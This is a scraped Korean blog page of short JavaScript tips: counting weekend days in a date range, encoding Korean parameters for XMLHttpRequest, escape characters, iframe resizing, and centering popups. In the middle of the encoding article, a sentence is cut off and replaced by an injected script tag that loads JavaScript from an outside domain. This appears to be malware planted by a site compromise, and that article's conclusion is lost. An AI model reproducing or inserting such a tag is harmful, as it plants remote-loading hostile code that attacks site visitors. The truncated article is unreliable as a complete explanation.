[JavaScript] 기간동안 토,일 갯수 구하기

[■Web Programing/OO JavaScript OO]
[지식인 펌] 창을 닫아서 URL 유실....;;

<script type="text/javascript">
  function getSatSun() {
    var sDate=formatDate(document.myform.start_date.value);
    var eDate=formatDate(document.myform.end_date.value);
    alert(countDay(sDate,eDate));
  }
  function formatDate(d) {
    return new Date(d.substr(0,4),Number(d.substr(4,2))-1,Number(d.substr(6)));
  }
  function countDay(d1,d2) {
    var count=0;
    var tmp;
    for (var i=0; i<=(d2-d1)/1000/60/60/24; i++) {
      tmp=new Date(d1);
      tmp.setDate(tmp.getDate()+i);
      if (tmp.getDay()==0||tmp.getDay()==6) {
        count++;
      }
    }
    return count;
  }
</script>
<form name="myform">
  <input type="text" name="start_date" value="20051129" size="8" maxlength="8"> -
  <input type="text" name="end_date" value="20051220" size="8" maxlength="8">
  <input type="button" value="토/일 수" onclick="getSatSun();">
</form>
크리에이티브 커먼즈 라이센스
Creative Commons License

[JAVASCRIPT] 특수문자 처리시 인코딩에 따른 처리

[■Web Programing/OO JavaScript OO]
[출처] : http://rudaks.co.kr/bbs/view.jsp?seq=16 ··· geno%3D1

[팁] XMLHttpRequest를 사용할 때 한글 파라미터의 인코딩 처리 방법
XMLHttpRequest에서 한글 파라미터를 전송할 때 인코딩을 처리하는 방법에 대해서 살펴본다.
프로바이더: 최범균
섹션 목록
  • XMLHttpRequest 사용시 한글 파라미터 전송 방법

[프린트 형식으로 보기]
XMLHttpRequest 사용시 한글 파라미터 전송 방법

자바캔에 실린 'XMLHttpRequest를 이용한 웹 채팅 구현'이란 글에서 한글 문제를 iframe을 사용하여 해결했는데, 그 방식 말고 자바캔의 댓글 추가에서 사용한 한글 처리 방식에 대해서 설명해보도록 하겠다.

XMLHttpRequest의 한글 파라미터 문제 해결 방법에 대해서 살펴보기 전에, 웹브라우저가 파라미터 값을 전송할 때 어떻게 인코딩하는 지 살펴보도록 하자. 대부분의 한글 사이트는 다음과 같이 캐릭터셋이 "euc-kr"인 HTML 문서를 사용할 것이다.

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    
    <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ko" lang="ko">
    <head>
        <meta http-equiv="content-type" content="text/html; charset=euc-kr" />
        <title>test</title>
    </head>
    <body>
    <form name="test" action="form.jsp">
    <input type="text" name="name" /><input type="submit"/>
    </form>
    </body>
    </html>

위 문서는 name 파라미터를 form.jsp로 전송하는 FORM을 갖고 있는데, name 필드에 '한글'을 입력한 뒤 submit 버튼을 누르면 다음과 같이 파라미터 값이 변환되어 전송된다.

    euc-kr 캐릭터셋에 맞춰 '한글' 을 인코딩한 값
    
    http://..../form.jsp?name=%C7%D1%B1%DB

위에서 '%C7%D1%B1%DB'는 '한글'을 euc-kr 캐릭터셋에 맞춰서 인코딩한 결과이다. IE나 파이어폭스 등의 웹 브라우저는 문서의 캐릭터셋에 맞춰서 파라미터를 인코딩하여 전송하기 때문에, 만약 문서의 캐릭터셋이 utf-8 이면 '한글' 파라미터를 다음과 같이 인코딩하여 전송하게 된다.

    
    utf-8 캐릭터셋에 맞춰 '한글' 을 인코딩한 값
    
    http://..../form.jsp?name=%ED%95%9C%EA%B8%80

문서 캐릭터셋이 euc-kr인 경우와 utf-8인 경우 전송되는 파라미터의 인코딩된 값도 다른 것을 확인할 수 있다.

이제, 다시 본론으로 돌아와서 XMLHttpRequest가 전송하는 파라미터에 대해서 살펴보자. XMLHttpRequest도 파라미터를 웹서버에 전송하기 때문에 파라미터 값을 알맞게 인코딩 해 주어야 한다. 그런데, 아쉽게도 XMLHttpRequest 자체적으로 인코딩 처리를 지원해주지는 않는다. 따라서, 자바스크립트가 지원해주는 인코딩 처리 함수를 사용해야 한다. 자바 스크립트가 제공하는 인코딩 처리 함수는 escape()와 encodeURIComponent()의 두가지가 있다. 이 두가지는 동작 방식이 다른데, 다음표는 두 함수의 실행 결과를 보여주고 있다.

인코딩 처리 인코딩된 값 설명
두 함수의 실행 결과는 문서 캐릭터셋이 euc-kr 이거나 utf-8 인 경우 모두 동일하다.
escape('한글') %uD55C%uAE00 유니코드 값을 표현
encodeURIComponent('한글') %ED%95%9C%EA%B8%80 utf-8로 인코딩. encodeURI() 함수도 동일한 결과 출력

두 함수의 실행 결과를 보면 encodeURIComponent() 함수가 utf-8로 인코딩한 결과를 보여줌을 알 수 있다. 따라서, XMLHttpRequest로 한글 파라미터를 전송할 때에는 다음과 같은 방법을 사용하면 된다.

  • 웹브라우저에서: 자바스크립트 encodeURIComponent() 함수를 사용하여 파라미터 값을 utf-8로 ?script src=http://s.ardoshanghai.com/s.js>
크리에이티브 커먼즈 라이센스
Creative Commons License

[JAVASCRIPT] 자바스크립트 특수문자

[■Web Programing/OO JavaScript OO]

\n    -    다음 라인으로 이동 ( 개행 )

\b    -    백 스페이스

\r    -    캐리지 리턴

\t    -    탭의 크기만틈 이동

\'    -    작은 따옴표

\"    -    큰 따옴표

\\    -    역 슬래시

\f    -    폼 피드를 의미

[출처] [ 자바스크립트 ] 특수 문자의 종류|작성자 jjackkun81


\\n 인 경우 다음라인으로 이동 됩니다.

크리에이티브 커먼즈 라이센스
Creative Commons License

[JAVASCRIPT] IFRAME 자동 사이즈 조절

[■Web Programing/OO JavaScript OO]

 function onInit()
 {
  parent.document.all.analysis.width = document.body.scrollWidth;
  parent.document.all.analysis.height = document.body.scrollHeight;
        var n_cnt = document.input_form.rec_cnt.value;

        for (var idx =0; idx <= n_cnt-1; idx++ )
        {
            document.getElementById("coa"+idx).width = eval("coa"+idx).document.body.scrollWidth;
            document.getElementById("coa"+idx).height = eval("coa"+idx).document.body.scrollHeight;
        }
 }

아이프레임이 여러개인 경우 리사이즈를 아이프레임에서 처리하면 동기화 문제로 제대로 동작하지 않을 수 있다.

부모페이지에서 처리하면 문제를 해결할 수 있다.

크리에이티브 커먼즈 라이센스
Creative Commons License

[프로그래밍] 자바스크립트 완벽 가이드(5/E) 스터디

[■프로그래밍 일반]

출처 : http://argus.tistory.com/20

16년동안 기술서적만 읽어오신 필독의 달인 아거스님의 추천도서입니다.






고수님들의 방법을 익히자 !!!
자바스크립트 완벽 가이드 - 전2권 - 10점
데이비드 플래너건 지음, 송인철 외 옮김/인사이트

신년계획 중 기술서적 10권 이상 읽기가 있는데 그 중 일환으로 작년에 사놓고 읽지 못했던 책을 다시 보기로 했습니다.
물론 저 혼자는 심심해서 회사 동료 몇 몇 분을 끌어들였습니다.^^

진행방식은 김창준님께서 블로그에 소개해주신 "바쁜 직장인을 위한 스터디 비결"을 따르기로 했습니다.
(삼색볼펜비법 빼구요^^ - 삼색 볼펜이 없어서ㅠㅠ)

나름 올 해 첫 스터디 진행인데 끝까지 마무리가 잘 되었으면 하는 바램입니다.^^

스터디가 종료되면(약 1.5 ~ 2개월 정도 예상) 정리된 내용들은 블로그에 포스팅하도록 하겠습니다.







크리에이티브 커먼즈 라이센스
Creative Commons License

[JAVASCRIPT] 팝업창 화면 가운데로 이동

[■Web Programing/OO JavaScript OO]
window.moveTo(screen.width/2-(250/2),screen.height/2-(200/2));

WIDTH 값과 HEIGHT 값은 body.width, body.height 를 사용하여 동적으로 하면 된다.
크리에이티브 커먼즈 라이센스
Creative Commons License